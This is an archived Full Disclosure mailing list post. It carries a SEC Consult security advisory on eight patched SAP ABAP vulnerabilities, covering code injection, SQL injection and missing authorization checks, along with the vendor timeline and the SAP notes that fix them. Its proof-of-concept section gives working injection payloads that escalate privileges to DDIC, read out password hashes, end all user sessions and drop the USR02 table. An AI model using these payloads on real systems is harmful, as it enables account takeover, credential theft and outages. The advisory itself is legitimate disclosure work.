

[Full Disclosure](#) mailing list archives[By Date](#) [By Thread](#)

List Archive Search



SEC Consult SA-20220518-0 :: Multiple Critical Vulnerabilities in SAP® Application Server, ABAP and ABAP® Platform (Different Software Components)

From: "SEC Consult Vulnerability Lab, Research via Fulldisclosure" <fulldisclosure () seclists.org>
Date: Wed, 18 May 2022 06:21:19 +0000

SEC Consult Vulnerability Lab Security Advisory < 20220518-0 >
=====

title: Multiple Critical Vulnerabilities
product: SAP® Application Server
ABAP and ABAP® Platform (Different Software Components)
vulnerable version: see section "Vulnerable / tested versions"
fixed version: see SAP security notes 2958563, 2973735,
2993132, 2986980, 2999854, 3002517, 3048657
CVE number: CVE-2020-6318, CVE-2020-26808, CVE-2020-26832,
CVE-2021-21465, CVE-2021-21468, CVE-2021-21466,
CVE-2021-21473, CVE-2021-33678
impact: critical
homepage: <https://www.sap.com>
found: 08/2020 - 02/2021
by: Fabian Hagy (Office Vienna)
Alexander Meier (Office Berlin)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Atos company
Europe | Asia | North America

<https://www.sec-consult.com>

=====

Vendor description:

"SAP is a market share leader in enterprise resource planning (ERP), analytics, supply chain management, human capital management, master data management, data integration as well as in experience management" [1]. Customers comprise 92% of the Forbes Global 2000 companies and 98% of the 100 most valued brands. 77% of the world's transaction revenue touches an SAP system [1, 2].

"SAP NetWeaver Application Server for ABAP (AS ABAP) is a platform on which important business processes run. It provides a complete development and runtime environment for ABAP-based applications. The purpose of AS ABAP is to provide programmers with an efficient means of expressing business logic and relieve them from the necessity of platform-related and purely technical coding. AS ABAP is therefore a basis for all ABAP systems" [3].

"The [successor] ABAP platform provides a reliable and scalable server and programming environment for modern ABAP development [...]. The ABAP platform offers support for SAP HANA and SAP Fiori and allows developers to efficiently build enterprise software that meets the requirements of their business scenarios - on-premise as well as in the cloud" [4].

- [1] <https://www.sap.com/about/company.html>
- [2] <https://www.sap.com/documents/2017/04/4666acd4-b67e-0010-82e7-ada71af311fa.html>
- [3] <https://help.sap.com/viewer/ff18034f08afd7bb33894c2047c3b71/7.52.5/en-US/797de8aa42e24916953c4bb3d983662d.html>
- [4] <https://developers.sap.com/topics/abap-platform.html>

Business recommendation:

By exploiting the vulnerabilities documented in this advisory, privileged attackers can take complete control of affected application servers. Thus, successful exploitation can enable fraud, sabotage or data theft while affecting confidentiality, integrity, and availability of business data.

SEC Consult recommends to implement security notes 2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657 where the documented issues are fixed according to the vendor. We advise installing the corrections as a matter of priority to keep business-critical data secured.

Vulnerability overview/description:

Advanced Business Application Programming (ABAP)® is a proprietary programming language by SAP SE. In common with every other programming language, ABAP can be susceptible to software vulnerabilities ranging from missing or improper authorization checks to inadequate input validation and output sanitization. Of particular concern are injection vulnerabilities, which can jeopardize the overall system security.

Remote Function Call (RFC) is a proprietary network protocol by SAP SE. Comparable to application programming interfaces (APIs), SAP systems come with thousands of built-in function modules implemented in ABAP. RFC allows remote-enabled functions to be accessed via the network. This makes it possible to decentralize business applications even across system boundaries. External programs and external clients can make use of RFC connections to interact with an SAP system via libraries (e.g. NW RFC SDK) provisioned by SAP SE.

This advisory covers multiple critical vulnerabilities discovered in the ABAP® coding of standard function modules. These are part of different software components that build upon the bedrock products SAP® Application Server ABAP and ABAP® Platform.

- 1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver (ABAP Server) and ABAP Platform

Function modules RSDU_LIST_DB_TABLE_SYB and RSDU_LIST_DB_TABLE_DB4 of function groups RSDU_UTIL_SYB and RSDU_CORE_UTIL_DB4 are vulnerable to ABAP code injection bugs allowing to execute arbitrary ABAP code. Successful exploitation leads to full system compromise.
- 2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP and S/4 HANA (DMIS)

Function module CNV_MBT_SEL_STRING_RETURN of function group CNV_MBT_SEL is vulnerable to an ABAP code injection bug allowing to embed arbitrary code into the ABAP Repository. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation leads to full system compromise.
- 3) [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver AS ABAP and SAP S/4 HANA (SAP Landscape Transformation)

- Function module CNV_GET_USERS_FOR_APP_SERVER of function group CNV_00001_HELP does not perform any programmatically implemented authorization check. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation allows to retrieve internal information and to make a targeted SAP system completely unavailable to its intended users. The latter is to be considered as a Denial of Service (DoS) attack.
- 4) [CVE-2021-21468] Missing Authorization Check in SAP Business Warehouse (Database Interface)
- Function module RSDL_DB_GET_DATA_BWS of function group RSDL does not perform any programmatically implemented authorization check. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation allows to read out the entire database including cross-client data access.
- 5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP Business Warehouse (Database Interface)
- Function module RSDL_DB_GET_DATA_BWS of function group RSDL is vulnerable to a native SQL Injection (ADBC) bug allowing to execute arbitrary SQL commands at database level. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation leads to full system compromise.
- 6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business Warehouse and SAP BW/4HANA
- Function module RSDRI_DF_TEXT_READ of function group RSDRI_DF_FACADE is vulnerable to an ABAP code injection bug allowing to embed arbitrary code into the ABAP Repository. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation leads to full system compromise.
- 7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP and ABAP Platform
- Function module SRM RFC_SUBMIT_REPORT of function group SRM_REP does not enforce proper authorization checks for critical use of a dynamic program call. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation allows an attacker to execute existing ABAP reports without holding sufficient authorizations.
- 8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP (Reconciliation Framework)
- Function module CONVERT_FROM_CHAR_SORT_RF of function group FG_RF contains a code injection vulnerability with a limited exploitation primitive. An attacker can abuse this bug to delete critical system tables (e.g. USR02), making the targeted SAP system completely unavailable to its intended users.

Proof of concept:

- 1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver (ABAP Server) and ABAP Platform
- The vulnerable functions make use of the GENERATE SUBROUTINE POOL instruction by providing source code that is created dynamically using untrusted user input. As there is no input validation or output sanitization, an attacker can inject malicious ABAP code through specific import parameters. This code gets executed on the fly by the application server in the course of execution of the functions.
- The following payload exploits the bug to escalate privileges via reference user assignment:
- Import Parameter: I_TABLNM
Value: USR02
- Import Table: I_T_SELECT_FIELDS
- | |
|-------------|
| RSD_FIELDNM |
| BNAME |
- Import Table: I_T_WHERE_COND
- | FIELDNM | OP | LOW |
|---------|----|--|
| BNAME | EQ | S'ENDEXEC. EXEC SQL.UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER' |
- 2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP and S/4 HANA (DMIS)
- The vulnerable function makes use of the INSERT REPORT instruction by providing source code that is created dynamically using untrusted user input. As there is no input validation or output sanitization, an attacker can inject malicious ABAP code through specific import parameters. Inserted code may be executed by chaining this bug with CVE-2021-21473.
- The following payload exploits the bug to escalate privileges via reference user assignment:
- Import Parameter: TABNAME
Value: USR02
- Import Table: IMT_SELSTRING
- | |
|--|
| LINE |
| BNAME = 'TEST'. ENDSELECT. |
| UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER' |
| SELECT * FROM USR02 |
- 3) [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver AS ABAP and SAP S/4 HANA (SAP Landscape Transformation)
- The vulnerable function does not perform any explicit authorization check. Depending on a specific import parameter, the function leaks active login sessions (opcode 02) or terminates all active login sessions (opcode 25) by kernel call 'ThUsrInfo'. Invoking the function periodically prevents users from logging into the application server.
- The following payload exploits the bug to trigger the information disclosure and enumerate active user sessions:
- Import Parameter: MODE
Value: 1
- The following payload exploits the bug to terminate all active user sessions:
- Import Parameter: MODE
Value: 2
- 4) [CVE-2021-21468] Missing Authorization Check in SAP Business Warehouse (Database Interface)

The vulnerable function does not perform any explicit authorization check. It uses predefined classes and methods from the ABAP Database Connectivity (ADBC) framework to execute native SQL queries at database level. Depending on specific import parameters, this allows to read out arbitrary table data including user master records or secure storages (e.g. RSECTAB).

The following payload exploits the bug to exfiltrate user password hashes:

Import Table: I_S_TABSEL

NAME
USR02

Import Table: I_S_DBCON

CON_NAME
<Database Connection String> (e.g. DEFAULT)

Import Table: I_T_DBFIELDS

NAME	TYPE	LENGTH
BNAME	CHAR255	000255
PWDSALTEDHASH	CHAR255	000255

- 5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP Business Warehouse (Database Interface)

The vulnerable function does not perform any input validation or output sanitization on import parameters that can be used to define conditional SQL statements. This allows to inject arbitrary SQL commands that get executed natively at database level in the course of execution of the function.

The following payload exploits the bug to escalate privileges via reference user assignment:

Import Table: I_S_TABSEL

NAME
USR02

Import Table: I_S_DBCON

CON_NAME
<Database Connection String> (e.g. DEFAULT)

Import Table: I_T_DBFIELDS

NAME	TYPE	LENGTH
BNAME	CHAR255	000255

Import Table: I_T_SELECT

FIELDNM	OPTION	LOW
BNAME	EQ	'';UPDATE USREFUS SET REFUSER ='DDIC' WHERE '1
' = '1 AND' AND BNAME	EQ	'ATTACKER';

- 6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business Warehouse and SAP BW/4HANA

The vulnerable function makes use of the INSERT REPORT instruction by providing source code that is created dynamically using untrusted user input. As there is no input validation or output sanitization, an attacker can inject malicious ABAP code through specific import parameters. Inserted code may be executed by chaining this bug with CVE-2021-21473.

The following payload exploits the bug to escalate privileges via reference user assignment:

Import Parameter: I_TABLE_NAME
Value: INJECTION

Import Parameter: I_DEBUG_SUFFIX
Value: SAP

Import Table: I_T_RANGE_STRING

CHANM	LOW	HIGH
BNAME	' . UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER	' . EXIT. "

- 7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP and ABAP Platform

The vulnerable function uses a dynamically generated program name (based on data from untrusted sources) in a SUBMIT call. No authorization checks are programmatically enforced. Thus, a remote, unauthorized attacker can leverage this function to start any existing ABAP report by providing the respective report name in the import parameter REPORTNAME.

- 8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP (Reconciliation Framework)

The vulnerable function makes use of the GENERATE SUBROUTINE POOL instruction in form 'get_dynamic_fields' by providing source code that is created dynamically using untrusted user input. As there is no input validation or output sanitization, an attacker can inject malicious ABAP code through specific import parameters. These parameters are limited in size due to their variable type. This restricts an attacker in exploitation scenarios. However, it is still possible, for example, to delete critical system tables by exploiting this bug.

The following payload exploits the bug to drop table USR02, leading to a complete loss of availability of the target system:

Import Parameter: RTABNAME
Value: X. EXEC SQL. DROP TABLE USR02-

Import Parameter: RFIELDNAME
Value: ENDEXEC

Vulnerable / tested versions:

All tests were conducted on SAP NetWeaver Application Server ABAP 752 SP04 and ABAP Platform 1909. No additional testing on other releases has been

carried out. According to the vendor the following releases and versions are affected by the discovered vulnerabilities:

- 1) SAP NetWeaver (ABAP Server) and ABAP Platform, Versions - 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755
Components: SAP_BW, SAP_BW_VIRTUAL_COMP
- 2) SAP AS ABAP (DMIS), Versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752, 2020; SAP S4 HANA(DMIS), Versions - 101, 102, 103, 104, 105
Components: DMIS, S4CORE
- 3) SAP NetWeaver AS ABAP (SAP Landscape Transformation - DMIS), Versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752, 2020; SAP S4 HANA (SAP Landscape Transformation), Versions - 101, 102, 103, 104, 105
Components: DMIS, S4CORE
- 4) SAP Business Warehouse, Versions - 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755, 782
Components: SAP_BW, SAP_BW_VIRTUAL_COMP
- 5) SAP Business Warehouse, Versions - 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755, 782
Components: SAP_BW, SAP_BW_VIRTUAL_COMP
- 6) SAP Business Warehouse, Versions - 700, 701, 702, 711, 730, 731, 740, 750, 782; SAP BW4HANA, Versions - 100, 200
Components: SAP_BW, DW4CORE
- 7) SAP NetWeaver AS ABAP and ABAP Platform, Versions - 700, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755
Components: SAP_BASIS
- 8) SAP NetWeaver AS ABAP (Reconciliation Framework) - 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 75A, 75B, 75B, 75C, 75D, 75E, 75F
Components: SAP_ABA

Vendor contact timeline:

The following timelines have been split for each CVE/vulnerability, as different contacts were responsible. All identified vulnerabilities have been fixed by now by SAP and SEC Consult releases this security advisory adhering to the responsible disclosure policy.

CVE-2020-6318

2020-08-12 | Contacting vendor with detailed report through vulnerability submission web form.
2020-08-13 | Vendor confirms receipt and assigns security incident number #2080354772.
2020-08-19 | Vendor confirms vulnerability.
2020-08-24 | Vendor informs about patch development strategy.
2020-09-07 | Vendor informs about release of the patch, registration of CVE number and corresponding security note.
2020-09-08 | Vendor releases patch with SAP Security Note 2958563.

CVE-2020-26808

2020-09-24 | Contacting vendor with detailed report through vulnerability submission web form.
2020-09-25 | Vendor confirms receipt and assigns security incident number #2070354293.
2020-10-20 | Contacting vendor to request progress information.
2020-10-21 | Vendor confirms vulnerability and states that a fix is in development.
2020-11-09 | Vendor informs about release of the patch, registration of CVE number and corresponding security note.
2020-11-10 | Vendor releases patch with SAP Security Note 2973735.

CVE-2020-26832

2020-10-23 | Contacting vendor with detailed report through vulnerability submission web form.
2020-10-26 | Vendor confirms receipt and assigns security incident number #2070432866.
2020-11-17 | Vendor confirms vulnerability and proposes CVSS score of 7.6.
2020-11-23 | Vendor asks for exploit script shown in the initial report.
2020-11-24 | Providing the requested script via encrypted PGP mail.
2020-12-07 | Vendor informs about release of the patch, registration of CVE number and corresponding security note.
2020-12-08 | Vendor releases patch with SAP Security Note 2993132.

CVE-2021-21465 / CVE-2021-21468

2020-10-27 | Contacting vendor with detailed report through vulnerability submission web form.
2020-10-29 | Vendor confirms receipt and assigns separated security incident numbers #2070446047 and #2070446050.
2020-11-06 | Vendor confirms vulnerability and predicts patches to be released on December Patch Tuesday 2020.
2020-11-18 | Vendor confirms that they are still on track for December Patch Tuesday 2020.
2020-12-01 | Vendor informs that patch needs to be postponed to January Patch Tuesday 2021.
2021-01-08 | Vendor informs about release of patches and clarifies that a single security note will fix both issues. Additional information about CVSS scores is provided.
2021-01-11 | Vendor informs about release of the patches, registration of CVE numbers and corresponding security note.
2021-01-12 | Vendor releases patches with SAP Security Note 2986980.

CVE-2021-21466 / CVE-2021-21473

2020-11-25 | Contacting vendor with detailed report through vulnerability submission web form.
2020-11-27 | Vendor confirms receipt and assigns security incident number #2080396648.
2021-01-04 | Vendor confirms vulnerability and states that they are working on a fix. Additional information is provided detailing on that they will split the reported finding into two separated security issues and security incident numbers #2080396648 and #2080412695.
2021-01-11 | Vendor informs about release of the first patch, registration of CVE number and corresponding security note.
2021-01-11 | Vendor informs about patch release for the first issue. Additional information is provided describing that a patch for the second issue is still in development.
2021-01-12 | Vendor releases first patch with SAP Security Note 2999854.
2021-05-07 | Asking vendor for update regarding the second issue.
2021-05-11 | Vendor informs that fix is in progress and note will be released soon.
2021-06-07 | Vendor informs about release of the second patch, registration of CVE number and corresponding security note.
2021-06-08 | Vendor releases second patch with SAP Security Note 3002517.

CVE-2021-33678

2021-02-01 | Contacting vendor with detailed report through vulnerability submission web form.
2021-02-03 | Vendor confirms receipt and assigns security incident number #2180074995.

2021-05-07 | Asking vendor for update.
2021-05-11 | Vendor informs that fix is in progress.
2021-07-12 | Vendor informs about release of the patch, registration of CVE number and corresponding security note.
2021-07-13 | Vendor releases patch with SAP Security Note 3048657.

Solution:

SAP SE reacted promptly to our findings. Product Security Incident Response Team (PSIRT) and engineers released patches in a timely manner for each of the reported issues. These patches are available in form of SAP Security Notes which can be accessed via the SAP Customer Launchpad [5]. More information can also be found at the Official SAP Product Security Response Space [6].

The following Security Notes need to be implemented:

2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657

[5] <https://launchpad.support.sap.com/#/securitynotes>
[6] <https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Dav>

Workaround:

None

Advisory URL:

<https://sec-consult.com/vulnerability-lab/>

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies.

Interested to work with the experts of SEC Consult?
Send us your application <https://sec-consult.com/career/>

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices <https://sec-consult.com/contact/>

Mail: security-research@sec-consult.com
Web: <https://www.sec-consult.com>
Blog: <http://blog.sec-consult.com>
Twitter: https://twitter.com/sec_consult

EOF F. Hagg, A. Meier / @2022

Sent through the Full Disclosure mailing list
<https://nmap.org/mailman/listinfo/fulldisclosure>
Web Archives & RSS: <https://seclists.org/fulldisclosure/>

[By Date](#) [By Thread](#)

Current thread:

SEC Consult SA-20220518-0 :: Multiple Critical Vulnerabilities in SAP® Application Server, ABAP and ABAP® Platform (Different Software Components) SEC Consult Vulnerability Lab, Research via Fulldisclosure (May 18)

Site Search

Nmap Security Scanner

Ref Guide

Install Guide

Docs

Download

Nmap OEM

Npcap packet capture

User's Guide

API docs

Download

Npcap OEM

Security Lists

Nmap Announce

Nmap Dev

Full Disclosure

Open Source Security

BreachExchange

Security Tools

Vuln scanners

Password audit

Web scanners

Wireless

Exploitation

About

About/Contact

Privacy

Advertising

Nmap Public Source License